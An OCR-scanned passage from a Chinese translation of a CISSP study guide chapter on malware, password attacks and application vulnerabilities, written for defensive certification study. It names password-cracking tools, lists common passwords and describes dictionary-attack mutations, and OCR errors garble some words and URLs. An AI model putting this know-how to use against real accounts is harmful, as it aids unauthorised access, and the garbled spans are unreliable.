多产品能够提供从单一系统到整个企业的保护: 有的被设计用于防范指定的常见病毒威胁类型， 例
如入站 电子邮件。
这些软件包中 的大多数都使用一种被称为特征型检测的方法来识别系统中潜在 的病毒感染。 实
质上， 反病毒软件包维护着一个极大的数据库， 这个数据库中包含所有己知病毒的指示特征。 依赖
于反病毒包和配置设置， 反病毒软件包能够定期扫描存储介质 ， 对所有包含与标准匹配的数据的任
何文件进行检查 。 一旦检测到任何问题， 反病毒软件包就会采取下列措施中 的某种措施:
• 如果软件可以消除这些病毒， 那么就对这些被感染的文件进行杀毒， 并且将系统还原到安
全 的状态。
第 21 章 恶意代码与应用攻击
• 如果软件识别 了病毒但是不知道如何为文件杀毒， 那么可能会隔离这个文件， 直至用户或
管理员可 以人工进行分析。
• 如果安全设置策略没有提供隔离或者文件超出了预定义的危险阔值， 那么反病毒软件包可
能删除这些被感染的文件 ， 以试图保持系统的完整性。
使用特征型反病毒软件包时， 必须记住的是， 软件包的有效性只依赖于基础性的病毒定义文件
的有效性。 如果不经常更新病毒定义(通常需要每年订购的费用)， 那么反病毒软件将不能检测新出
现的病毒。 互联网上每年新出现成千上万个病毒， 过期的病毒定义文件将很快使反病毒防护失效。
许多防病毒软件包还使用基于启发式的机制来检测潜在的恶意软件感染。 这些方法分析软件的
行为， 寻找病毒活动的迹象， 例如试图提高特权级别、 掩盖电子踪迹， 以及更改不相关的或操作系
统的文件。
大多数现代反病毒软件产品能够检测、 删除和清除系统上的大量不 同类型的恶意代码。 换句话
说， 反病毒解决方案不仅仅限于防范病毒。 这些工具往往能够提供针对蠕虫、 特洛伊木马 、 逻辑炸
弹 以及其他电子邮件或 Web 承载代码的防护。 在怀疑互联网上存在新的恶意代码时， 最佳的做法是
联系反病毒软件供应商并咨询当前针对新威胁的防护状态。 不要坐等下一次定期或 自动特征字典更
新。 此外， 不要相信第三方关于反病毒解决方案所提供保护状态的言论。 始终牢记与反病毒软件供
应商直接联系。 大多数负责的反病毒软件供应商都会在确定新的重大威胁的第一时间 向客户发出警
报 ， 因 此客户 也一定要保证关注这样的警报。
其他安全软件包(例如， 流行的 Tripwire 数据完整性保证软件包)也提供了辅助的反病毒功能。
Tripwire 被设计用于警示管理员发生未授权的文件修改， 常常被用来检测对 Web 服务器的破坏和类
似的攻击。 不过， 如果关键的系统可执行文件(如 command.com)被突然修改， 那么 Tripwire 也可能
提供某些病毒感染的警告。 这些系统通过维护系统所有存储文件的散列值的数据库进行工作(对用于
创建这些散列值的散列函数的详细讨论， 可 以参看第 6 章 " 密码学与对称加密算法" )。 通过比较这
些归档的散列值与当前计算的文件散列值， 就可以检测出两个时间段之间所有被修改的文件。 在最
基本的层面上， 散列是用来汇总文件内 容的数字 。 只要文件保持不变， 散列将保持不变。 如果文件
被修改， 即使是轻微的， 散列也将发生明显的变化， 表明文件己被修改。 除非该操作似乎可解释，
例如， 如果发生在安装新软件、 操作系统补丁程序的应用或类似的更改之后 ， 在可执行文件中的突
然更改可能是恶意软件感染的迹象。
4. 病毒技术
当病毒检测和消除技术得到提高以便战胜恶意开发人员设计的新威胁时， 新类型的病毒被设计
用于挫败使用这些技术的系统。 接下来我们将分析病毒的 4 种具体类型， 它们使用卑鄙的技术企图
逃避检测 ， 这4种类型是: 复合病毒、 隐 形病毒、 多态病毒和加密病毒。
复合病毒 复合病毒使用 多种传播技术试图渗透只防御其中一种方法的系统。 例如， 在 1 993
年发现的 Marzia病毒通过为每个文件添加 2048 个字节的恶意代码来感染关键的 COM和 EXE 文件，
最明显的就是系统文件 command.com。 这个特征说明它是一种文件程序感染病毒。 此外， 在 Marzia
病毒感染系统两个小时后 ， 它会向系统的主引 导记录写入恶意代码， 这说明它也是一种引 导扇 区
病毒。
隐形病毒 隐形病毒通过对操作系统的实际篡改来欺骗反病毒软件包认为所有事情都工作正
常， 从而将自 己隐藏起来。 例如， 隐形的引 导扇 区病毒可能利用恶意代码覆盖系统的主引导记录，
随后还通过修改操作系统的文件访 问功能来覆盖 自 身痕迹。 当反病毒软件包请求 MBR 的副本时，
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CISSP 官方学 习指南(第 7 版)
被修改的操作系统代码提供它所期望看到的版本: 也就是没有任何病毒特征的未被感染的 b但R 版
本 。 然而 ， 系统启 动时会读取被感染的 MBR， 井且将病毒加载到 内存中 。
多态病毒 在系统间传输时， 多态病毒实际上会修改 自 己的代码。 这种病毒的传播和破坏技术
保持完全相同 ， 但是每次感染新的系统时病毒的特征略有不同。 多态病毒制造者的希望就是， 通过
连续改变特征使得特征型反病毒软件包失效。 然而 ， 反病毒软件供应商识破了许多多态病毒技术的
代码， 因此目 前使用的反病毒软件版本都能够检测出 己知的多态病毒。 剩下的唯一担心是， 为了阻
止多态病毒的攻击而生成必要的特征文件， 这会花费供应商较长的时间， 因此可能导致多态病毒在
更长时间范围 内在互联 网上肆无忌惮地运行。
加密病毒 加密病毒使用密码术(参看第 6 章的内容)来躲避检测 。 在加密病毒的外部表现中 ，
它们实际上很像多态病毒， 每个被感染的系统都有不同特征的病毒。 然而， 加密病毒不是通过改变
代码来生成这些修改过的特征， 而是修改在磁盘上的存储方式。 加密病毒使用一个很短的、 被称为
病毒解密程序的代码段， 这个代码段包含必要的密码学信息， 用于对存储在磁盘上其他地方的主病
毒代码进行加载和解密。 每个感染过程都使用不同的密钥， 这使得主代码在每个系统上都呈现出 完
全不同 的样子。 不过， 病毒解密程序往往包含指示特征， 因此加密病毒很容易被最新的反病毒软件
包识破。
5. 骗局
如果缺少对病毒骗局。oax)导致的损害和资源浪费的讨论， 那么对病毒的研究就不算完整。 几
乎每个电子邮件用户都曾经收到过朋友转发来的邮件信息或者有关 Intemet 存在最新病毒威胁的警
告 。 这个传闻 中 的 "病毒" 总是那些 目 前尚未发作但是最具破坏性的病毒， 没有任何反病毒软件包
能够检测和/或删除它们。 有关这种骗局的一个著名示例是欢乐时光(Good Times)病毒警告， 它最早
在 1 994 年出现在 互联网上， 直到今天依然在传播。
如果想获得关于这个主题的更多信息， m泸h-tracking 网站 Snopes 保存了一份病毒骗局列表， 网
址如下: http://www. snopes.comlcomputer/virus/virus.asp。
2 1 . 1 .3 逻辑炸弹
你曾经在第 20章"软件开发安全 " 中学过， 逻辑炸弹是感染系统并且在达到一个或多个满足的
逻辑条件(例如 ， 时间、 程序启动 、 Web 站点登录等)前保持休眠状态的恶意代码对象。 大多数逻辑
炸弹被软件开发人员编入用户定制 的应用程序中 ， 这些开发人员 的 目 的是在被突然解雇时破坏公司
的工作 。 第 20 章 己经介绍 了 几个这类逻辑炸弹的例子。
然而， 必须记住的是， 像所有恶意代码对象一样 ， 逻辑炸弹具有许多形式和大小。 事实上， 许
多病毒和特洛伊木马都包含一个逻辑炸弹组件。著名 的米开朗其罗病毒在 1991 年被发现时曾导致介
质混乱， 它就是由其包含的逻辑炸弹触发启动的。 这个病毒通过共享被感染的软盘来感染系统的主
引 导记录， 并且随后将 自 己隐藏起来， 直到 3 月 6 日 (即著名 的意大利艺术家米开朗其罗 的生 日)这
一天启动， 从而重新格式化被感染系统的硬盘井且破坏硬盘包含的所有数据。
2 1 . 1 .4 特洛伊木马
系统管理员经常警告计算机用户 ， 不要从互联网上下载并安装软件， 除非能够绝对保证来源可
第 21 章 恶意代码与应用攻击
靠。 事实上， 许多公司严格地禁止安装任何非 盯 部门预筛选的软件 ， 这样的策略能够最小化组织的
网络被特洛伊木马破坏的风险。 特洛伊木马是一种软件l�}芋， 这种软件程序表面上友善， 但是实质
上承载恶意有效载荷 ， 具有对系统或网络的潜在破坏能力 。
不同的特洛伊木马在功能上区别很大。 一些木马将破坏系统上存储的所有数据 ， 试图在尽可能
短的时间段内产生大规模的破坏。 一些木马则可能是无害的。 例如， 在 2∞2 年中出现在互联网上的
一系列木马， 这些木马声称为 PC 用户提供在计算机上运行为 Microsoft Xbox 游戏系统设计的游戏
的能力。 当用户运行这个手里芋时， 它什么也不做。 不过， 它还向 Windows 注册表插入一个值， 导致
每次计算机启动后都打开指定的 Web 页面。 该特洛伊木马的制作者们希望通过 Xbox 木马接收到大
量的对其 Web 页面的浏览， 从而得到广告收入。 不过令他们感到遗憾的是， 反病毒专家们很快就发
现了他们 的真实企图， 并且相关网站也被关 闭 了 。
最近对安全圈造成重大影响的一类木马是流氓杀毒软件。 这类软件欺骗用户安装它 ， 声称是一
个防病毒包， 通常伪装成一个弹出广告， 并模仿成安全警告的外观和感觉。 一旦用户安装软件， 就
会窃取个人信息或提示用 户 付款 以 " 更新 " 流氓杀毒软件。 " 更新 " 只 是禁用木马 !
另一个变种一一勒索软件， 是特别阴险的。 勒索软件感染 目 标计算机， 然后使用加密技术来加
密存储在系统上的文档、 电子表格和其他文件， 并使用 只有恶意软件创建者知道的密钥。 接下来用
户 无法访问他们的文件， 并收到一条不祥的弹出消息警告， 文件将被永久删除， 除非在短时间内支
付赎金。 用 户然后经常支付这个赎金来重新获得对他们文件的访问。 最著名的勒索软件种类之一是
Cryptolocker。
⑧ 真实场景
僵尸网络
数年以前， 本书 的一位作者访问了一家组织 ， 这家公司 怀凝 自 己存在安全问题， 但是却不具备
诊断或解决问题的专业知识。 安全问题的主要症状是网络速度缓慢。 我们在执行基本的测试时发现，
公司 网 络中 的 所有系统都没有运行基本的反病毒软件 ， 并且某些 系 统 已 经感染 了 特洛伊木马 。
是什么原因导致网络速度缓慢呢? 是的 ， 特洛伊木马使所有被感染的 系统都成为 某个僵尸 网 络
(botnet)的成员 ， 僵尸 网络由 Intemet 上被僵尸牧人。otmaster)控制的众多 计算积〈有时是数千台)组成。
这个特定僵尸 网 络的僵尸牧人使组织 网 络中的系统参与针对某个 Web 站点(由于某个原 因 或其
他原 因 ， 僵尸牧人不喜欢相应的站点)的拒绝服务攻击。 僵尸牧人指示僵尸 网络中 的所有系统都反复
检索相 同 的 Web 页面， 从而使受攻击的 Web 站点 由于负 荷过高导致出现故障。 组织 网 络中存在大
约 30 个被感染的 系统， 僵尸 网络的攻击几乎 占 用 了 所有带宽 !
解决这个问题非常简单。 我们在所有 系统中都安装了 反病毒软件并删除了 特洛伊木马 。 进行这
些操作之后 ， 一切都恢复正常 了 。
21 . 1 .5 蠕虫
蠕虫给网络安全带来了 空前的风险。 它们包含的破坏潜力与其他恶意代码对象相同 ， 并且还具
有额外的手段， 也就是不需要任何人为干预就可 以传播自己 。
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CISSP 官方学 习指南(第 7 版)
互联网蠕虫是互联网上发生的首例主要的计算机安全事件。 从那时起， 成百上千个新的蠕虫(带
有成千上万个变种)开始在互联网上散播它们 的破坏力量。
1. Code Red 蠕虫
在 200 1 年夏天， 当 Code Red 蠕虫在未安装补丁程序的 Microsoft Internet Information Server但S)
Web 服务器之间快速传播时， 受到了 媒体的极大关注。 Code Red 在被其惨透的系统中执行下列三种
恶意动作 :
• 随机选择成百上千的 IP 地址， 并且随后探测这些主机， 查看这些主机是否运行存在漏洞的
IIS 版本。 任何被找出 的系统都很快被破坏。 因为每个被感染的主机继续寻找很多新 目 标，
Code Red 的破坏范围也就随之显著扩大 了 。
• 破坏本地 Web 服务器上的 HTML 页面， 并且将正常的内容替 换为如下所示 的文本 :
Welcome to http : / /www . wo rm . com !
HackedBy Ch工nese !
• 向 系统植入一个逻辑炸弹， 这个逻辑炸弹将向 E 地址 1 98. 1 37.240.9 1 发起拒绝服务攻击，
该地址在当时属于驻留 白 宫主页的 Web 网站服务器。 反应敏捷的政府 Web 站点管理员在实
际攻击发生之前便改变 了 白宫的 IP 地址 。
互联网蠕虫、 Code Red 及其详多变种的破坏力量给现代互联网带来 了极大的风险。 系统管理员
必须确保他们为连接 Internet 的系统使用 了软件供应商所发布的适当的安全补丁。 针对 Code Red 利
用 的 IIS 漏洞的安全补丁在蠕虫攻击互联网之前一个月 左右就己由 Microsoft 发布， 如果安全管理员
迅速地安装了 这个补丁 ， 那么 Code Red 将会是一种失败的病毒 。
RTM 与互联网蠕虫
1988 年 1 1 月 ， 一位年轻的名 叫 Robert Tappan Morris 的计算机专业学生， 仅仅利用 几行计算机
代码就使得刚 刚起步的互联网遭受重创 。 他宣称由他作为实验制造的一个恶意蠕虫被意外地梓放到
了 互联网上， 很快这个蠕 虫 就传播并破坏 了 大量 的 系 统。
如下所示， 这个蠕 虫 通过利用 Unix 操作系统4 个特殊的安全漏洞进行传播:
Sendmail 调试模式 当 时流府的 Sendrnail 软件包的最新版本羊皮用 于在王联网上对电子邮件进
行路由 ， 但是它却包含一个安全漏洞。 这个漏洞准许蠕虫通过向远程系统上的 Sen也nail 程序友送特
殊的 、 包含蠕 虫 代码的破坏性电子邮件来传播 自 己。 远程 系 统在处理邮件时就会被感染 。
密码攻击 这个蠕虫还使用 了 字典攻击， 通过使用 一个有效系统用 户 的用 户 名和密码来试图获
得对远程 系 统的访问权限(本章后 面部分将介绍字典攻击 的 更多 内 容)。
finger 漏洞 流行的互联网 实用程序 :finger 准许用 户 决定谁可以登录到远程系统。 当 时沈行的
fmger 软件的最新版本包含一个缓冲 区溢出漏洞 ， 这个漏洞使得蠕虫 能够进行传播(本章稍后部分将
对缓冲 区溢出进行详细讨论)。 自 此， finger 程序就从大多 数连接王联网的系 统上被删除了 。
信任关系 在感染 系 统后 ， 这个蠕虫分析 了 网络中该系统与 其他系统之间存在的信任关 系 ， 并
且试图通过可信路径传播至这些 系 统。
多 分支的方式使得互联网蠕虫 变得极为危险。 幸运的是， 计算机安全组织很快组织 了 一个研究
小组， 他们解除了 互联网蠕虫的危险， 并且为受影响的系统开发了 补丁程序。 由 于王联网蠕虫存在
一些低效的代码 ， 进而限制 了 自 身 的传播速度， 因 此研究 小组的工作变得容 易 了 许多 。
第 21 章 恶意代码与应用攻击
由 于法律执行机构和法院系统在处理计算机犯罪方面缺少经验， 因 此 Morris 只为其犯罪行为受
到轻微控诉。 根据 1986 年的计算机违法犯罪法案(Computer Fraud and Abuse Act) ， 他被判三年缓刑 、
400 小 时的社区服务和一万美元的罚款。 具有讯刺意味的是， 在事件发生时， Morris 的 父亲 Robert
Morris 走国 家安全机构(NSA)下属国 家计算机安全中 心(NCSC)的 主管 。
2. 震 网病毒
在 2010 年年中 ， 名 为震网(Stuxnet)的蠕虫在互联网上出现。 这种高度复杂的蠕虫使用各种高级
技术来传播 ， 包括多 个 以前未记录的漏洞。 震 网病毒使用 以 下传播技术:
• 在本地网络上搜索未受保护的 管理共享系统
• 利用零 日 漏洞攻击 Windows 服务器上的服务和打印机后 台处理程序
• 使用默认的数据库密码连接系统
• 使用共享的 USB 设备进行传播
震网病毒在从一个系统传播到另一个系统的过程中， 系统本身不受伤害， 它实际上是在寻找一
种特殊类型的系统一-使用 由西门子制造的控制器系统， 据称是用于生产核武器材料的系统。 当发
现这样的系统时， 它会执行一系列 旨在摧毁连接到西 门 子控制器离心机的动作 。
震网病毒似乎从中 东开始传播， 特别是位于伊朗的系统。 据称， 它是由西方国家设计的， 意 图
破坏伊朗核武器计划 。 根据 《纽约时报》 的一个故事， 以色列的一个设施包含用于测试蠕虫的设备。
故事说 " 以色列己经开发了与伊朗几乎完全相同 的核能离心机"， 并继续说 "那里的运行以及在美
国 的相 关努力都是一一该病毒被设计 为美国和 以色列项 目 的线索， 意 图破坏伊朗核方案"。
如果这些指控是真实的， 震网病毒标志着恶意代码世界里的两个主要演变: 使用蠕虫对设施造
成严重的物理损坏 ， 以及在国 家之 间 的战争中 使用恶意代码。
21 . 1 .6 间谍软件与广告软件
在正常使用计算机时， 我们还会遇到其他两种不希望的软件干预类型。 间谍软件会监控你的动
作 ， 并且向暗中监视你活动的远程系统传送重要的细节。 例如， 间谍软件可能等待你登入某个银行
站点， 随后将你的用户 名和密码传送给间谍软件的创作者。 此外， 间谍软件也可能等待你在某个电
子商务站点输入信用卡号， 然后将卡号传送给在黑市进行贩卖交易 的骗子。
广告软件在形式上与间谍软件极为相似， 只 是具有不同的 目 的。 广告软件使用多种技术在被感
染的计算机上显示广告。 最简单的广告软件形式会在你连接 Web 时在屏幕上显示弹出式广告。 更恶
毒 的广告软件版本可能会监控你的购物行为并将你重定向至竞争者的 Web 站点。
注意 :
广告软件和恶意软件的作者通常利用 流行的王联网 工具的第二方插件(如 Web 浏 览器)来传播其
恶意 内 容。 他们发现插件 已经具有强 大的用 户 基础， 这些插件被投予权限在他们的浏览器内运行和/
或获取他们的信息。 然后他们用原始插件代码补充恶意代码， 这些代码散布恶意软件 、 窃取信息或
执行其他不 必要的活动。
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CISSP 官方学 习指南(第 7 版)
2 1 . 1 .7 对策
针对恶意代码的主要防护手段是使用反病毒过滤软件。 这些软件包主要是特征型系统， 它们被
设计用于检测在系统中运行的 己知病毒。 如下所示， 至少在三个关键区域考虑实现反病毒过滤是非
常明智的。
客户端系统 : 网络中 的每个工作站都应当通过更新的反病毒软件在本地文件系统中查找恶意
代码。
服务器系统: 服务器应当具有类似的防护。 因为公用服务器上的一个病毒会迅速在整个网络内
传播， 所 以保护服务器系统 比保护客户端系统更为重要。
内容过滤器: 目 前的大多数病毒都通过互联网传播。 继续在网络上根据恶意代码的特征， 对入
站和 出 站 电子邮件 以及 Web 流量进行内 容过滤 ， 是非常明智的做法。
注意 :
利用 当 前的反病毒软件， 往往能够在发现恶意代码后的敖个小 时内执行去除操作。 去除操作会
删除恶意代码， 但是并不修复恶意代码导致的损坏。 往往能够在发现恶意1v马数天之后使用 清除功
能 。 清除操作不仅能够删 除恶意代码 ， 而且还 能够修复恶意代码导致的损坏。
警告 :
需要记住的是， 大多数反病毒过滤器都是特征型软件。 因此， 反病毒过滤软件只有在病毒定义
文件是最新时才能有效运作。 定期更新这些文件至关重要， 尤其在王联网上出现新的 高风险恶意代
码特征时更是如此。
特征型过滤器依赖于软件开发人员提供的对己知病毒的描述。 因此， 任何指定病毒从第一次现
身网络到更新过滤器之间存在一定的时间周期。 目 前 ， 有两种常用 的解决方案能够解决这个问题:
• 使用完整性检查软件(例仔例t蜘如 Tri甲pw阳1町reι， 在 WWW.tr且住的叫1ψp阳阳wire比削e怠ω.启吨O
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件系统中意夕外卡的 更改并定期报告 。
• 应 当严格地维护和实施访问控制， 从而限制恶意代码破坏数据和在网络上传播的能力。
此外 ， 下列三种额外的技术能够专 门 防止系统受到活动 内容内嵌的恶意代码的感染:
• Java 的沙箱技术为 applet 提供了一个隔离的环境， 在这个环境中 ， applet 不需要访问关键的
系统资源就能够安全地运行。
• ActiveX 控件签名技术利用数字签名系统来确保代码来 自 可信源。 最终用户需要确定通过身
份认证的来源是否可信 。
• 操作系统级别的应用程序 白 名单要求管理员指定批准的应用程序。 操作系统使用此列衰，
仅允许 己知的 良好应用程序运行。
要对数字签名进行深入理解 ， 请查看第 7 章 " PKl 和 密码学应用 " 中 的 内容。
许多形式的恶意代码利用零 日漏洞一一被黑客发现的安全漏洞， 这些漏洞尚未得到彻底解决。
系 统受到这些漏洞影响 的两个主要原因是:
• 在发现新型恶意代码和发布补丁及更新病毒特征库之间的时间拖延
• 在系统管理期间应用更新缓慢
零 日漏洞的存在， 使得必须在组织中拥有强大的补丁管理程序 ， 确保应用及时更新。 此外， 可
第 21 章 恶意代码与应用攻击
能希望使用漏洞扫描程序定期扫描系统来查找 己知的安全问题。
21 .2 密码攻击
攻击者用于获得对系统的非法访问 的最简单技术之一是: 获悉己授权系统用户的用 户名和密码。
一旦作为正常用户获得访问权限， 那么攻击者就会在系统中具有立足之地。 此时， 攻击者可以使用
其他技术(包括 r∞tkit 软件包) 自 动获取增强级别的系统访问权限(参看本章稍后的 " 权限提升和
rootkit" 部分)。 攻击者还可能将受到危害的系统作为跳板 ， 从而攻击相 同网络中其他更加诱人的
目 标。
下面几节分析了 攻击者用于获悉合法用户 密码并访问系统的三种方法: 密码猜测攻击、 字典攻
击和社会工程学攻击。 很多这些类型的攻击依赖于脆弱的密码存储机制 。 例如， 许多 Unix 操作系统
在/etc/passwd 文件中存储用户 密码的加密版本。
21 .2. 1 密码猜测攻击
在这种最基本的密码攻击类型中， 攻击者只是试图猜测用户 的密码。 无论进行了 多少次安全性
教育， 用 户还是常常使用极为脆弱的密码。 如果攻击者能够获得授权系统用户 的列表， 那么他们常
常能够快速找出 正确的用 户 名(在大多数网络中， 用 户名包含用户 名字的第一个字母， 后面紧跟着他
们 的姓氏部分)。 利用这些信息， 攻击者就能够开始对用户 的密码进行某些猜测。 最常用 的用户 密码
形式是用户姓氏、 名 字或用户名 。 例如， 为了容易记忆， 用 户 mchapple 可能会使用脆弱的密码
elppahcm。 遗憾的是， 这个密码也很容易被猜到。 如果猜测企图失败， 那么攻击者会转向 互联网上
最常见密码的普通列表 。 " 最常见的密码 " 部分列出了其中 一些密码。
最常见的密码
攻击者常常使用 互联网 分发常被使用 的用 户 密码列表， 这些密码通过系统被攻破时收集到的数
据建立。 列表中的很多 内 容并不使人惊讶。 在王联网上检索到 的攻击者列表包含 8 1 5 个密码， 下面
列 出 了 其 中 一小部分:
Password
Secret
sex
money
love
computer
football
hello
mornmg
Ibm
work
office
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CISSP 官方学 习指南(第 7 版)
online
terminal
Internet
除 了 这些常见的单词外， 密码列表里 包含超过 300 个第 一名字， 其 中 70%是女性的名 字 。
最后， 对某人稍有了解就可以为其密码提供极佳的线索 。 很多人使用配偶、 孩子、 宠物、 亲友
或喜欢的演员 的名字作为密码。 常见的密码还包括生日、 周年纪念 日 、 社会保险号、 电话号码和(不
管你是否相信)ATM PIN。
2 1 .2.2 字典攻击
前面曾 经提到过， 许多 Unix 系统在所有系统用户可访问 的/etc/passwd 文件中存储用户 密码的加
密版本。 为了提供某些安全性级别， 这个文件并不包含实际的用户 密码: 但包含了 通过单向加密函
数获得的加密值(参看第 7 章对加密函数的讨论)。 当用户试图登入系统时， 访问验证程序使用相 同
的加密函数加密用户输入的密码， 然后与/巳tc/passwd 文件中存储的实际密码进行比较。 如果这两个
值匹配， 那么用户 就被准许访 问系统。
密码攻击者使用 自 动化工具(例如， John the Ripper)运行 自 动的字典攻击， 字典攻击利用 了这种
机制的一个简单漏洞。 攻击者采用一个包含成千上万词汇的大型字典文件， 然后针对这些词汇运行
加密函数， 以获得加密的等值效果 。 接着， John the 阳pper 程序在密码文件中查找与加密宇典相匹
配的加密值。 查找到某个匹配时， John the Ripper 程序会报告用户名和密码(明文形式)， 攻击者便获
得了对系统的访问权限。
密码破解
John也eRipper 是一个密码破解手却子。 在王联网上有许多 其他可用 的攻击技术， 这些 包括 Cain &
Abel 、 Ophcrack、 Brutus、 THC Hy，的、 LOphtCrack、 Pwdump 和 RainbowCrack. 每个工具都有专 门
的不同 的操作系统和 密码类型 。
这听起来像是一种简单的安全机制 ， 并且安全教育将会防止用户 使用那些容易被破解程序猜到
的密码， 但是这种工具对于攻击实际的系统来说惊人有效。 随着新版破解工具的发布， 更多的高级
特性被用 于战胜用户常用的技术以及战胜密码复杂度规则 。 下面列 出 了 其中一些高级特性:
• 重新排列宇典词汇的字母
• 为字典词汇附加数字
• 将字典词汇 中 出现的每个字母 0 都替换为数字 。(或用数字 1 替换字母 L)
• 采用某些形式组合两个字典词汇
21 .2.3 社会工程学攻击
社会工程学是攻击者用于获得系统访问权限的最有效工具之一。 在其最基本的形式中 ， 社会工
程学攻击包括简单地通过电话询问用户 的密码， 就像技术支持人员或其他权威机构声明他们立即需
要这些信息一样。 幸运的是， 大多数当代计算机用户 都己意识到这些花招， 通过简单询问用户 密码
的有效性如今己经有所降低。 相反， 这些攻击依赖于网络钓鱼电子邮件， 提示用户 使用他们真实的
第 21 章 恶意代码与应用攻击
用户名和口令登录到一个假冒 的网站， 然后攻击者捕获这些用户信息， 并用于登录实际的网站。 网
络钓鱼往往针对金融服务网站， 用户凭据可以用来快速转移现金。 除了欺骗用户放弃他们的密码，
网络钓鱼攻击通常用来让用 户 安装恶意软件或提供其他敏感的个人信息 。
虽然用户变得越来越精明 ， 但对于密码(通常针对网络)的安全性来说， 社会工程学仍然是个严
重的威胁。 攻击者常常可以通过与计算机用户 、 办公室中的饶舌者和行政管理人员 的 " 闲谈" 获得
敏感的个人信息 。 在进行密码猜测攻击时， 这些信息可以提供极好的攻击素材。 此外， 攻击者有时
可以获得敏感的网络拓扑图或配置数据， 在计划对组织进行其他类型的 电子攻击时， 这些信息也非
常有用 。
21 .2.4 对策
所有安全措施的基石是教育 。 安全人员应该经常提醒用户选择安全密码进行保密的重要性。 用
户应该在他们首次加入组织时接受培训11 ， 并且应当定期接受最新的培训 ， 即使这种培训 只是来自管
理员 提醒他们相关威胁 的 电子师件 。
为用户提供建立安全密码所需要的知识， 告诉他们攻击者在猜测密码时所使用的技术， 并且为
用户提供一些有关如何建立强密码的建议。 最有效的密码技术之一是使用某种记忆手段， 如设想一
个容易记忆的句子并利用每个词的首字母建立密码。 例如， 将句子"My son Richard likes to eat 4 piω"
变为密码 MsRlte4P， 这是一个极难破解的密码。 你可能也希望考虑为用户提供一个安全工具， 允许
存储这些强密码。 Password Safe 和 LastPass 是两个常见的例子。 这些工具允许用户 为他们使用 的每
个服务创建独特的 、 强大的密码， 而不承担他们所有的负担。
提示 :
防止基于密码的攻击的最好方法之一是采用 其他认证技术作为 密码技术的补充。 这种方法被称
为 多 因 素认证， 已在第 1 3 幸讨论。
由过分热心的管理员导致的一种最常见错误是建立一系列强密码， 并且将它们分发给用户(用 户
随后会被禁止改变为他们分发的密码)。 乍一看， 这是一个听起来十分安全的策略。 然而， 用户在收
到像 lmfOA8flt 这样的密码时， 他们将要做的第一件事是将密码写在便签上并将其粘贴在计算机键
盘的下面。 这下可好， 安全保护彻底破产 了 !
如果网络包括使用/etc!passwd 文件的 Unix 操作系统， 那么请考虑使用其他的访问验证机制来增
强安全性。 在很多版本的 Unix 和 Linux 上都可用 的一种流行技术是使用影子密码文件/etC!shadow。
这个文件包含每个用户 的实际加密密码， 但是除了 管理员外， 任何人都不能访问这个文件。 可公共
访 问 的文件/etc/passwd 只 是包含用户名的列表， 它并不包含发起字典攻击所需的 必要数据。
2 1 .3 应 用程序攻击
在第 20 章中 ， 学习 了在开发操作系统和应用l!E)字时使用可靠的软件工程过程的重要性。 在下面
几节， 你将会简要学习一些特殊的技术， 攻击者可以使用这些技术来利用 由于编码过程疏忽大意而
留下的漏洞。
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CISSP 官方学习指南(第 7 版)
21 .3. 1 缓冲区溢出
缓冲区溢出漏洞存在于当开发人员不正确地验证用户 的输入， 以确保以适当的大小输入时。 输
入太大， 可 以 "溢出" 一个数据结构， 影响存储在计算机内存中 的其他数据。 例如， 如果一个 Web
表单有一个域与后端的变量关联， 该变量仅允许输入 1 0 个字符， 但表单的处理器不验证输入的长度，
操作系统可能会简单地将数据写入留给该变量的空间 ， 对存储在内存中 的其他数据可能造成损害 。
在最坏的情况下， 该数据可以用来覆盖系统代码， 允许攻击者利用缓冲 区溢出漏洞在服务器上执行
任意代码。
当编写软件时， 开发人员必须对允许用户输入的变量给予特别关注。 许多编程语言对变量的长
度不强制实施固有的限制 ， 这就要求编程人员对代码进行边界检查。 因 为许多编程人员认为参数检
查是一种不必要的、 会减缓程序开发速度的负担， 所以这就成了程序开发的一个固有的漏洞。 作为
安全行业的从业人员 ， 必须负责确保组织的开发人员意识到由缓冲区溢出漏洞 引起的风险， 并且应
当采取适当 的措施来保护编程人员 开发的代码免遭这种类型的攻击。
只 要允许用户输入程序变量， 编程人员就应当采取有效措施， 从而确保满足下列各项条件:
• 用户输入的值的长度不能超过任何存放它的缓冲 区的大小(例如， 将一个具有 1 0 个字母的单
词输入到最多容纳 5 个字母的字符串变量中)。
• 用户不能向保存输入值的变量类型输入无效的值(例如 ， 将一个字符输入到一个数字型变
量 中) 。
• 用户输入的数值不能超出程序规定的参数操作范围(例如， 用"也许"来回答结果只能为"是"
或 " 否" 的问题)。
如果没有执行对上述条件的简单检查， 那么就可能造成缓冲 区溢出漏洞， 这种漏洞会导致系统
崩溃， 甚至可能允许用户 运行 shell 命令并获得对系统的访问权限。 缓冲区溢出漏洞在使用 CGI 或
其他语言进行快速代码开发的过程中尤其普遍， 这是因为快速代码开发允许没有经验的编程人员快
速生成交互式的 Web 页面。
2 1 .3.2 检验时间到使用 时间
检验时间到使用时间σime-OιCheck-To-Time-OιUse， TOCTTOU 或 TOC厅'OU)的 问题是一个
时间型漏洞， 当l�)亨检查访问许可权限的时间大大早于资源请求的时间时， 就会出现这种问题。 例
如 ， 如果操作系统针对用户 登录建立了 一个综合的访问许可权限列表， 并且在整个登录会话期间查
询这个列表， 那么就存在 TOCπOU 漏洞。 如果系统管理员取消 了某个特殊的权限， 那么这个限制
只有在用户下次登录时才会起作用 。 如果在用户登录时正好发生取消访问许可权限的操作， 那么用
户 是否能够访问资源就是不确定的。 用户只需保留会话打开数天之久， 新的限制就永远不会被应用。
21 .3.3 后门
后 门是没有被记录到文档中 的命令序列， 它们允许软件开发人员绕过正常的访问限制 。 在开发
和调试过程中 ， 后门常常被用于加快工作流程并避免强制矛旦芋开发人员 不断地对系统进行身份认证。
有时候， 开发人员在系统达到生产要求之后仍在系统中 留下这些后门 ， 从而既可以在出现意外故障
第 21 章 恶意代码与应用攻击
时使用 ， 也可以在系统处理他们没有访问权限的敏感数据时进行 " 偷看"。 除了开发商的后门外， 许
多类型的恶意代码感染系统井创建后 门 ， 允许恶意代码的开发者远程访问 受感染的系统。
无论怎样， 后门 不被记录到文档中 的性质使其成为系统安全的严重威胁， 尤其在后门未被记录
到文档中 却又被遗忘时更是如此。 如果开发人员离开了 公司 ， 那么他们可以利用后门访问系统、 检
索机密信息或参与行业破坏活动 。
2 1 .3.4 权限提升和 rootkit
一旦攻击者在一个系统上站稳脚跟， 他们通常会迅速进入第二个 目 标 将他们的访问权限从
正常的用户 账户扩展到更全面的管理访 问权限。 他们通过权限提升攻击来实现。
攻击者权限提升攻击的最常见方法之一是通过使用 rootkito rootkit 可 以从互联网上免费获得，
